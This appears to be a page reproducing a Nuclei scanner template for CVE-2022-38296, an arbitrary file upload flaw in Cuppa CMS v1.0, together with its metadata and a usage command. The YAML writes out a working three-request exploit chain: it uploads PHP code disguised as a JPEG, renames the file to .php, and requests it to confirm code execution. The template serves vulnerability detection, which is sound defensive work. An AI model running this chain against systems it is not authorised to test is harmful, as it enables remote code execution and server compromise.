Cuppa CMS v1.0 - Arbitrary File Upload

ID: CVE-2022-38296

Severity: critical

Author: theamanrawat

Tags: cve,cve2022,rce,cuppa,intrusive,cuppacms

Description

Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.

YAML Source

id: CVE-2022-38296

info:
  name: Cuppa CMS v1.0 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38296
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38296
    cwe-id: CWE-434
    epss-score: 0.03924
    epss-percentile: 0.9198
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,rce,cuppa,intrusive,cuppacms

http:
  - raw:
      - |
        POST /js/jquery_file_upload/server/php/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI

        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="path"

        /
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="unique_name"

        true
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="resize_width"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="resize_height"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="crop"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="compress"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="files[]"; filename="test-{{randstr}}.jpg"
        Content-Type: image/jpeg

        <?php

        echo md5("CVE-2022-38296");

        ?>
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI--
      - |
        POST /js/filemanager/api/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"from":"//{{filename}}","to":"//{{randstr}}.php","action":"rename"}
      - |
        GET /media/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - ed6bf8b1b4b8e64836455fe32b958c2c
        condition: and

      - type: word
        part: header_3
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - '"name":"(.*?)",'
        internal: true
# digest: 4a0a0047304502205d5a2bd9f03aad7f5629acb8dbae2f3f1adc42e6a44c1bd903aa4450456bf64c022100f9edf1433937e069b4fb2e48f38274583e3d1e6d363d02ffd5a9377b0c0c623a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-38296.yaml"

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